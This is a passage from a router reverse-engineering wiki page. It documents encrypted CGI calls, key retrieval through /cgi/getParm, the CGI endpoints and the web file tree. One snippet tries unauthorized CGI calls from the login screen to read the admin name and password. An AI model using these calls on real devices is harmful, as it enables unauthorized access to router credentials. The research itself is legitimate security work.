&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Payload Encryption&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The newer firmware versions use AES encrypted payload when communicating with the webserver using the &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt; URL instead of &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt; for most calls. In order to analyse the servers responses, one needs to decrypt the payload. While debugging, this can either be done using the instance of the &amp;lt;code&amp;gt;$.Iencryptor&amp;lt;/code&amp;gt; used for encryption or by overwriting the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt;, which logs the response after decryption. Hackers may be able to forge the encryption key with the help of &amp;lt;code&amp;gt;/cgi/getParm&amp;lt;/code&amp;gt;. Additionnally the modified version of the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt; function prevents reloading the page while testing unautharized CGI calls from the login screen.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example AES Decryption using $.Iencryptor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.Iencryptor.AESDecrypt(&amp;quot;QCN4Rv6QexPOxOxIs7adng==&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// var encryptor = $.encrypt.encryptManager.genEncryptor(); //生成加密器&lt;br /&gt;
// encryptor.genAESKey(); //生成aes密码&lt;br /&gt;
// encryptor.setRSAKey(&amp;quot;nn&amp;quot;, &amp;quot;ee&amp;quot;); //设置rsakey&lt;br /&gt;
// encryptor.setSeq(&amp;quot;123&amp;quot;);   //设置seq&lt;br /&gt;
// encryptor.setHash(&amp;quot;用户名&amp;quot;, &amp;quot;密码&amp;quot;); //设置用户名密码&lt;br /&gt;
//&lt;br /&gt;
//&lt;br /&gt;
// //以上都设置完后，可进行加密&lt;br /&gt;
// encryptor.AESEncrypt(data);&lt;br /&gt;
//&lt;br /&gt;
// //返回对象&lt;br /&gt;
// // {&lt;br /&gt;
// //     data:&amp;quot;加密后数据&amp;quot;,&lt;br /&gt;
// //     sign: &amp;quot;签名&amp;quot;&lt;br /&gt;
// // }&lt;br /&gt;
//&lt;br /&gt;
//&lt;br /&gt;
// // 页面刷新前保存加密器&lt;br /&gt;
// $.encrypt.encryptManager.recordEncryptor();&lt;br /&gt;
//&lt;br /&gt;
// //再次获取加密器&lt;br /&gt;
// var encryptor = $.encrypt.encryptManager.getEncryptor();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: 感谢您的良好指示 🙏&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example AES key generation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;);&lt;br /&gt;
$.exe(null,false,0);&lt;br /&gt;
&lt;br /&gt;
	# Request Parameters&lt;br /&gt;
	# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0&lt;br /&gt;
&lt;br /&gt;
	# Or, using cURL&lt;br /&gt;
	# curl -X POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; -d $&#039;[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n&#039;&lt;br /&gt;
&lt;br /&gt;
	# Example Response&lt;br /&gt;
	# lib.js:396 XHR finished loading: POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot;&lt;br /&gt;
	# [cgi]0&lt;br /&gt;
	# var ee=&amp;quot;010001&amp;quot;;&lt;br /&gt;
	# var nn=&amp;quot;BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94&amp;quot; +&lt;br /&gt;
	#        &amp;quot;62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB&amp;quot; +&lt;br /&gt;
	#        &amp;quot;DAB24BE0443A2B25&amp;quot;;&lt;br /&gt;
	# var seq=&amp;quot;812508797&amp;quot;;&lt;br /&gt;
	# $.ret=0;&lt;br /&gt;
	# [error]0&lt;br /&gt;
&lt;br /&gt;
$.nn = nn;&lt;br /&gt;
$.ee = ee;&lt;br /&gt;
$.seq = seq;&lt;br /&gt;
&lt;br /&gt;
$.Iencryptor.setSeq($.seq);&lt;br /&gt;
$.Iencryptor.setRSAKey($.nn, $.ee);&lt;br /&gt;
$.Iencryptor.setHash(userName, password);&lt;br /&gt;
$.Iencryptor.genAESKey();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; $.io() {Log decrypted responses while debugging and disable page reloading}&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.io = function(path, bScript, hook, data, noquit, unerr) {&lt;br /&gt;
    $.ajax(&lt;br /&gt;
    {&lt;br /&gt;
        type: data ? &amp;quot;POST&amp;quot; : &amp;quot;&amp;quot;,&lt;br /&gt;
        url: path,&lt;br /&gt;
        bScript: bScript,&lt;br /&gt;
        async: true,&lt;br /&gt;
        data: data ? data : null,&lt;br /&gt;
        success: r =&amp;gt; console.log(r),&lt;br /&gt;
        error: e =&amp;gt; console.log(e)&lt;br /&gt;
    });&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Try the modifications (Reload to revert)&lt;br /&gt;
$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]);&lt;br /&gt;
$.exe(null, false, 1);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The third parameter with the &amp;lt;code&amp;gt;$.exe(null, false, 1);&amp;lt;/code&amp;gt; function defines the &amp;lt;code&amp;gt;securityLevel&amp;lt;/code&amp;gt;. 1 enables AES encryption and the use of &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt;. 0 means no encryption and the use of &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Information Gathering&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI URLs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Source: /usr/bin/httpd&lt;br /&gt;
// Firmware: 191018&lt;br /&gt;
&lt;br /&gt;
/cgi/conf.bin&lt;br /&gt;
/cgi/confencode&lt;br /&gt;
/cgi/confup&lt;br /&gt;
/cgi/bnr&lt;br /&gt;
/cgi/softup&lt;br /&gt;
/cgi/softburn&lt;br /&gt;
/cgi/log&lt;br /&gt;
/cgi/info&lt;br /&gt;
/cgi/lanMac&lt;br /&gt;
/cgi/auth&lt;br /&gt;
/cgi/pvc&lt;br /&gt;
/cgi/ansi&lt;br /&gt;
/cgi/usb3gup&lt;br /&gt;
/cgi/usb3gupburn&lt;br /&gt;
/cgi/logout&lt;br /&gt;
/cgi/route&lt;br /&gt;
/cgi/updateWlThroughput&lt;br /&gt;
/cgi/updateWlThroughput5G&lt;br /&gt;
/cgi/getParm&lt;br /&gt;
/cgi/login&lt;br /&gt;
&lt;br /&gt;
/cgi_gdpr&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Webserver URLs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 191018&lt;br /&gt;
&lt;br /&gt;
/web&lt;br /&gt;
├── MenuRpm.htm&lt;br /&gt;
├── css&lt;br /&gt;
│   ├── ban.css&lt;br /&gt;
│   ├── css_help.css&lt;br /&gt;
│   ├── ie6.css&lt;br /&gt;
│   ├── ie7.css&lt;br /&gt;
│   ├── ie8.css&lt;br /&gt;
│   ├── main.css&lt;br /&gt;
│   ├── menu.css&lt;br /&gt;
│   ├── other.css&lt;br /&gt;
│   ├── qr.css&lt;br /&gt;
│   └── top.css&lt;br /&gt;
├── domain-redirect.htm&lt;br /&gt;
├── frame&lt;br /&gt;
│   ├── accErr.htm&lt;br /&gt;
│   ├── banner.htm&lt;br /&gt;
│   ├── login.htm&lt;br /&gt;
│   ├── menu.htm&lt;br /&gt;
│   └── top.htm&lt;br /&gt;
├── help&lt;br /&gt;
│   ├── AccessCtrlAccessRulesAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessRulesHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessTargetsAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessTargetsHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlHostsListsAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlHostsListsHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlTimeSchedAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlTimeSchedHelpRpm.htm&lt;br /&gt;
│   ├── AssignedIpAddrListHelpRpm.htm&lt;br /&gt;
│   ├── BackNRestoreHelpRpm.htm&lt;br /&gt;
│   ├── BasicSecurityHelpRpm.htm&lt;br /&gt;
│   ├── BpaCfgHelpRpm.htm&lt;br /&gt;
│   ├── ChangeLoginPwdHelpRpm.htm&lt;br /&gt;
│   ├── DMZHelpRpm.htm&lt;br /&gt;
│   ├── DateTimeCfgHelpRpm.htm&lt;br /&gt;
│   ├── DdnsAddComexeHelpRpm.htm&lt;br /&gt;
│   ├── DiagHelp.htm&lt;br /&gt;
│   ├── DualBandSelectionHelpRpm.htm&lt;br /&gt;
│   ├── DynDdnsHelpRpm.htm&lt;br /&gt;
│   ├── FeedbackHelp.htm&lt;br /&gt;
│   ├── FixMapCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetUsbCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetWirelessCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetWirelessCfgHelpRpmWithFacebook.htm&lt;br /&gt;
│   ├── IPTVHelp.htm&lt;br /&gt;
│   ├── IPv6LanHelp.htm&lt;br /&gt;
│   ├── IPv6StatusHelpRpm.htm&lt;br /&gt;
│   ├── IPv6TunnelHelp.htm&lt;br /&gt;
│   ├── L2tpCfgHelpRpm.htm&lt;br /&gt;
│   ├── LanArpBindingHelpRpm.htm&lt;br /&gt;
│   ├── LanArpBindingListHelpRpm.htm&lt;br /&gt;
│   ├── LanDhcpServerHelpRpm.htm&lt;br /&gt;
│   ├── LanDhcpServerHelpRpm_AP.htm&lt;br /&gt;
│   ├── LocalManageControlHelpRpm.htm&lt;br /&gt;
│   ├── MacCloneCfgHelpRpm.htm&lt;br /&gt;
│   ├── ManageControlHelpRpm.htm&lt;br /&gt;
│   ├── ManageCtrl_h.htm&lt;br /&gt;
│   ├── MediaServerCfgHelpRpm.htm&lt;br /&gt;
│   ├── MiscHelpRpm.htm&lt;br /&gt;
│   ├── NasCfgHelpRpm.htm&lt;br /&gt;
│   ├── NasFtpCfgHelpRpm.htm&lt;br /&gt;
│   ├── NasUserAdvRpm.htm&lt;br /&gt;
│   ├── NasUserCfgHelpRpm.htm&lt;br /&gt;
│   ├── NatStatusCfgHelpRpm.htm&lt;br /&gt;
│   ├── NetworkCfgHelpRpm.htm&lt;br /&gt;
│   ├── NetworkCfgHelpRpm_AP.htm&lt;br /&gt;
│   ├── NoipDdnsHelpRpm.htm&lt;br /&gt;
│   ├── PPPoECfgHelpRpm.htm&lt;br /&gt;
│   ├── PPPoEv6CfgHelpRpm.htm&lt;br /&gt;
│   ├── ParentCtrlAdvHelpRpm.htm&lt;br /&gt;
│   ├── ParentCtrlHelpRpm.htm&lt;br /&gt;
│   ├── PingHelpRpm.htm&lt;br /&gt;
│   ├── PingWatchDogHelpRpm.htm&lt;br /&gt;
│   ├── PptpCfgHelpRpm.htm&lt;br /&gt;
│   ├── PrintServerCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSRuleCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSRuleListHelpRpm.htm&lt;br /&gt;
│   ├── Qs3gHelpRpm.htm&lt;br /&gt;
│   ├── QsChangeLoginPwdHelpRpm.htm&lt;br /&gt;
│   ├── QsLanApHelpRpm.htm&lt;br /&gt;
│   ├── QsModeHelpRpm.htm&lt;br /&gt;
│   ├── QsMultissidHelpRpm.htm&lt;br /&gt;
│   ├── QsReviewHelpRpm.htm&lt;br /&gt;
│   ├── QsWlClientHelpRpm.htm&lt;br /&gt;
│   ├── QsWlScanClientHelpRpm.htm&lt;br /&gt;
│   ├── RestoreDefaultCfgHelpRpm.htm&lt;br /&gt;
│   ├── SiteSurveyHelpRpm.htm&lt;br /&gt;
│   ├── SnmpHelpRpm.htm&lt;br /&gt;
│   ├── SoftwareUpgradeHelpRpm.htm&lt;br /&gt;
│   ├── SpecialAppHelpRpm.htm&lt;br /&gt;
│   ├── StaticRouteTableHelpRpm.htm&lt;br /&gt;
│   ├── StatusHelpRpm.htm&lt;br /&gt;
│   ├── StatusHelpRpm_AP.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Client.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Modem.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Repeater.htm&lt;br /&gt;
│   ├── SysAutoRebootHelpRpm.htm&lt;br /&gt;
│   ├── SysRebootHelpRpm.htm&lt;br /&gt;
│   ├── SysRouteTableHelpRpm.htm&lt;br /&gt;
│   ├── SystemLogHelpRpm.htm&lt;br /&gt;
│   ├── SystemStatisticHelpRpm.htm&lt;br /&gt;
│   ├── UpnpCfgHelpRpm.htm&lt;br /&gt;
│   ├── Usb3gHelpRpm.htm&lt;br /&gt;
│   ├── Usb3gModemListHelpRpm.htm&lt;br /&gt;
│   ├── UsbAccountHelp.htm&lt;br /&gt;
│   ├── UsbDlnaHelp.htm&lt;br /&gt;
│   ├── UsbFtpHelp.htm&lt;br /&gt;
│   ├── UsbMassHelp.htm&lt;br /&gt;
│   ├── UsbSharingHelp.htm&lt;br /&gt;
│   ├── VirtualServerHelpRpm.htm&lt;br /&gt;
│   ├── Wan6DisabledCfgHelpRpm.htm&lt;br /&gt;
│   ├── Wan6to4TunnelCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanDynamicIpCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanDynamicIpV6CfgHelpRpm.htm&lt;br /&gt;
│   ├── WanStaticIpCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanStaticIpV6CfgHelpRpm.htm&lt;br /&gt;
│   ├── WlanAdvHelpRpm.htm&lt;br /&gt;
│   ├── WlanAdvHelpRpm_AP.htm&lt;br /&gt;
│   ├── WlanConnectHelpRpm.htm&lt;br /&gt;
│   ├── WlanExtender5GHelpRpm.htm&lt;br /&gt;
│   ├── WlanExtenderHelpRpm.htm&lt;br /&gt;
│   ├── WlanMacFilterHelpRpm.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm_AP.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm_MSSID.htm&lt;br /&gt;
│   ├── WlanSchedule.htm&lt;br /&gt;
│   ├── WlanSecurityHelpRpm.htm&lt;br /&gt;
│   ├── WlanStationHelpRpm.htm&lt;br /&gt;
│   ├── WlanThroughputHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsChkModeHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsHelpRpm_AP.htm&lt;br /&gt;
│   ├── WzdAccessCtrlHostAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlRuleAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlSchedAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlTargetAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdConfirmHelpRpm.htm&lt;br /&gt;
│   ├── WzdFinishHelpRpm.htm&lt;br /&gt;
│   ├── WzdL2TPHelpRpm.htm&lt;br /&gt;
│   ├── WzdPPPoEHelpRpm.htm&lt;br /&gt;
│   ├── WzdPPTPHelpRpm.htm&lt;br /&gt;
│   ├── WzdStartHelpRpm.htm&lt;br /&gt;
│   ├── WzdStaticIpHelpRpm.htm&lt;br /&gt;
│   ├── WzdWanMACHelpRpm.htm&lt;br /&gt;
│   ├── WzdWanTypeHelpRpm.htm&lt;br /&gt;
│   ├── WzdWlanHelpRpm.htm&lt;br /&gt;
│   ├── WzdWlanHelpRpm_AP.htm&lt;br /&gt;
│   ├── YandexDnsHelpRpm.htm&lt;br /&gt;
│   └── ledControlHelp.htm&lt;br /&gt;
├── img&lt;br /&gt;
│   ├── Thumbs.db&lt;br /&gt;
│   ├── bgColor.jpg&lt;br /&gt;
│   ├── check.gif&lt;br /&gt;
│   ├── col_hide.gif&lt;br /&gt;
│   ├── col_show.gif&lt;br /&gt;
│   ├── empty.gif&lt;br /&gt;
│   ├── error.gif&lt;br /&gt;
│   ├── helpPic.gif&lt;br /&gt;
│   ├── icon.jpg&lt;br /&gt;
│   ├── loading.gif&lt;br /&gt;
│   ├── login&lt;br /&gt;
│   │   ├── domain-redirect.png&lt;br /&gt;
│   │   ├── favicon.ico&lt;br /&gt;
│   │   ├── info.png&lt;br /&gt;
│   │   ├── input-box.png&lt;br /&gt;
│   │   ├── input-box1.png&lt;br /&gt;
│   │   ├── loginBg.png&lt;br /&gt;
│   │   ├── loginButton.png&lt;br /&gt;
│   │   ├── loginButton1.png&lt;br /&gt;
│   │   ├── logo.png&lt;br /&gt;
│   │   ├── ok.png&lt;br /&gt;
│   │   ├── password.png&lt;br /&gt;
│   │   ├── qr.png&lt;br /&gt;
│   │   ├── top-right.png&lt;br /&gt;
│   │   ├── tp-beta-mark.png&lt;br /&gt;
│   │   ├── username.png&lt;br /&gt;
│   │   └── wrong.png&lt;br /&gt;
│   ├── mark_copy.gif&lt;br /&gt;
│   ├── menu-white-noradius.png&lt;br /&gt;
│   ├── menu-white.png&lt;br /&gt;
│   ├── menu-yellow.png&lt;br /&gt;
│   ├── minus.gif&lt;br /&gt;
│   ├── plus.gif&lt;br /&gt;
│   ├── pw.gif&lt;br /&gt;
│   ├── signalstrength.gif&lt;br /&gt;
│   ├── switch.gif&lt;br /&gt;
│   └── td-blue.png&lt;br /&gt;
├── index.htm&lt;br /&gt;
├── js&lt;br /&gt;
│   ├── 3g.js&lt;br /&gt;
│   ├── cryptoJS.min.js&lt;br /&gt;
│   ├── custom.js&lt;br /&gt;
│   ├── encrypt.js&lt;br /&gt;
│   ├── err.js&lt;br /&gt;
│   ├── help.js&lt;br /&gt;
│   ├── language.js&lt;br /&gt;
│   ├── lib.js&lt;br /&gt;
│   ├── local.js&lt;br /&gt;
│   ├── oid_str.js&lt;br /&gt;
│   ├── root.js&lt;br /&gt;
│   ├── str.js&lt;br /&gt;
│   ├── tpEncrypt.js&lt;br /&gt;
│   └── vlancfg.js&lt;br /&gt;
├── main&lt;br /&gt;
│   ├── alg.htm&lt;br /&gt;
│   ├── arpBind.htm&lt;br /&gt;
│   ├── arpBindEdit.htm&lt;br /&gt;
│   ├── arpList.htm&lt;br /&gt;
│   ├── autoPVC.htm&lt;br /&gt;
│   ├── backNRestore.htm&lt;br /&gt;
│   ├── basicSec.htm&lt;br /&gt;
│   ├── clientMode.htm&lt;br /&gt;
│   ├── clientMode5G.htm&lt;br /&gt;
│   ├── cwmp.htm&lt;br /&gt;
│   ├── ddos.htm&lt;br /&gt;
│   ├── ddos_host.htm&lt;br /&gt;
│   ├── defGateway.htm&lt;br /&gt;
│   ├── defGateway6.htm&lt;br /&gt;
│   ├── defaultCfg.htm&lt;br /&gt;
│   ├── dhcp.htm&lt;br /&gt;
│   ├── dhcpAP.htm&lt;br /&gt;
│   ├── dhcpClient.htm&lt;br /&gt;
│   ├── dhcpCond.htm&lt;br /&gt;
│   ├── dhcpCondEdit.htm&lt;br /&gt;
│   ├── dhcpEdit.htm&lt;br /&gt;
│   ├── dhcpEditAP.htm&lt;br /&gt;
│   ├── dhcpStatic.htm&lt;br /&gt;
│   ├── dhcpStaticEdit.htm&lt;br /&gt;
│   ├── diagnostic.htm&lt;br /&gt;
│   ├── div.htm&lt;br /&gt;
│   ├── dlnaManage.htm&lt;br /&gt;
│   ├── dmz.htm&lt;br /&gt;
│   ├── dsl.htm&lt;br /&gt;
│   ├── dslcfg.htm&lt;br /&gt;
│   ├── dynamicIp.htm&lt;br /&gt;
│   ├── ethIptv.htm&lt;br /&gt;
│   ├── ethWan.htm&lt;br /&gt;
│   ├── ethWan6.htm&lt;br /&gt;
│   ├── ftpSrv.htm&lt;br /&gt;
│   ├── fw6Lan.htm&lt;br /&gt;
│   ├── fw6LanEdit.htm&lt;br /&gt;
│   ├── fw6Rules.htm&lt;br /&gt;
│   ├── fw6RulesEdit.htm&lt;br /&gt;
│   ├── fw6Sche.htm&lt;br /&gt;
│   ├── fw6ScheEdit.htm&lt;br /&gt;
│   ├── fw6Wan.htm&lt;br /&gt;
│   ├── fw6WanEdit.htm&lt;br /&gt;
│   ├── fwLan.htm&lt;br /&gt;
│   ├── fwLanEdit.htm&lt;br /&gt;
│   ├── fwRules.htm&lt;br /&gt;
│   ├── fwRulesEdit.htm&lt;br /&gt;
│   ├── fwSche.htm&lt;br /&gt;
│   ├── fwScheEdit.htm&lt;br /&gt;
│   ├── fwWan.htm&lt;br /&gt;
│   ├── fwWanEdit.htm&lt;br /&gt;
│   ├── group.htm&lt;br /&gt;
│   ├── groupAdd.htm&lt;br /&gt;
│   ├── hw_nat.htm&lt;br /&gt;
│   ├── ipoa.htm&lt;br /&gt;
│   ├── ipsec.htm&lt;br /&gt;
│   ├── ipsecConfig.htm&lt;br /&gt;
│   ├── iptv.htm&lt;br /&gt;
│   ├── lan.htm&lt;br /&gt;
│   ├── lan6.htm&lt;br /&gt;
│   ├── lanAP.htm&lt;br /&gt;
│   ├── lanEdit.htm&lt;br /&gt;
│   ├── lanEditAP.htm&lt;br /&gt;
│   ├── ledControl.htm&lt;br /&gt;
│   ├── local.htm&lt;br /&gt;
│   ├── log.htm&lt;br /&gt;
│   ├── logConf.htm&lt;br /&gt;
│   ├── macClone.htm&lt;br /&gt;
│   ├── manageCtrl.htm&lt;br /&gt;
│   ├── no.htm&lt;br /&gt;
│   ├── parentCtrl.htm&lt;br /&gt;
│   ├── password.htm&lt;br /&gt;
│   ├── phDDNS.htm&lt;br /&gt;
│   ├── pingNTraceRoute.htm&lt;br /&gt;
│   ├── pingWatchDog.htm&lt;br /&gt;
│   ├── portTrigEdit.htm&lt;br /&gt;
│   ├── portTrigger.htm&lt;br /&gt;
│   ├── pppoa.htm&lt;br /&gt;
│   ├── pppoe.htm&lt;br /&gt;
│   ├── printSrv.htm&lt;br /&gt;
│   ├── qos.htm&lt;br /&gt;
│   ├── qosAppEdit.htm&lt;br /&gt;
│   ├── qosClsEdit.htm&lt;br /&gt;
│   ├── qosList.htm&lt;br /&gt;
│   ├── qosQueueEdit.htm&lt;br /&gt;
│   ├── qs3g.htm&lt;br /&gt;
│   ├── qsAuto.htm&lt;br /&gt;
│   ├── qsBandSelect.htm&lt;br /&gt;
│   ├── qsDetectErr.htm&lt;br /&gt;
│   ├── qsDsl.htm&lt;br /&gt;
│   ├── qsEnd.htm&lt;br /&gt;
│   ├── qsIPoA.htm&lt;br /&gt;
│   ├── qsL2tp.htm&lt;br /&gt;
│   ├── qsLan.htm&lt;br /&gt;
│   ├── qsMacClone.htm&lt;br /&gt;
│   ├── qsMode.htm&lt;br /&gt;
│   ├── qsMultiSSID.htm&lt;br /&gt;
│   ├── qsPPP.htm&lt;br /&gt;
│   ├── qsPPPoA.htm&lt;br /&gt;
│   ├── qsPptp.htm&lt;br /&gt;
│   ├── qsReview.htm&lt;br /&gt;
│   ├── qsSave.htm&lt;br /&gt;
│   ├── qsStaIP.htm&lt;br /&gt;
│   ├── qsStart.htm&lt;br /&gt;
│   ├── qsType.htm&lt;br /&gt;
│   ├── qsWl.htm&lt;br /&gt;
│   ├── qsWl5G.htm&lt;br /&gt;
│   ├── qsWlAP.htm&lt;br /&gt;
│   ├── qsWlAP5G.htm&lt;br /&gt;
│   ├── qsWlClient.htm&lt;br /&gt;
│   ├── qsWlHotspot.htm&lt;br /&gt;
│   ├── qsWlScanClient.htm&lt;br /&gt;
│   ├── qspassword.htm&lt;br /&gt;
│   ├── remote.htm&lt;br /&gt;
│   ├── restart.htm&lt;br /&gt;
│   ├── rip.htm&lt;br /&gt;
│   ├── route.htm&lt;br /&gt;
│   ├── route6.htm&lt;br /&gt;
│   ├── route6Edit.htm&lt;br /&gt;
│   ├── routeEdit.htm&lt;br /&gt;
│   ├── routeTbl.htm&lt;br /&gt;
│   ├── snmp.htm&lt;br /&gt;
│   ├── softup.htm&lt;br /&gt;
│   ├── stat.htm&lt;br /&gt;
│   ├── staticIp.htm&lt;br /&gt;
│   ├── status.htm&lt;br /&gt;
│   ├── status6.htm&lt;br /&gt;
│   ├── sysMode.htm&lt;br /&gt;
│   ├── time.htm&lt;br /&gt;
│   ├── trafCtrlEdit.htm&lt;br /&gt;
│   ├── trafficCtrl.htm&lt;br /&gt;
│   ├── tunnel6.htm&lt;br /&gt;
│   ├── upnp.htm&lt;br /&gt;
│   ├── usb3g.htm&lt;br /&gt;
│   ├── usb3gModemList.htm&lt;br /&gt;
│   ├── usb3gUpload.htm&lt;br /&gt;
│   ├── usbFolderBrowse.htm&lt;br /&gt;
│   ├── usbManage.htm&lt;br /&gt;
│   ├── usbSmbSrv.htm&lt;br /&gt;
│   ├── usbUserAccount.htm&lt;br /&gt;
│   ├── userFeedBack.htm&lt;br /&gt;
│   ├── virtualServer.htm&lt;br /&gt;
│   ├── vtlServEdit.htm&lt;br /&gt;
│   ├── wan.htm&lt;br /&gt;
│   ├── wlAcl.htm&lt;br /&gt;
│   ├── wlAcl5G.htm&lt;br /&gt;
│   ├── wlAclAdv.htm&lt;br /&gt;
│   ├── wlAclAdv5G.htm&lt;br /&gt;
│   ├── wlAclAdvMssid.htm&lt;br /&gt;
│   ├── wlAclMssid.htm&lt;br /&gt;
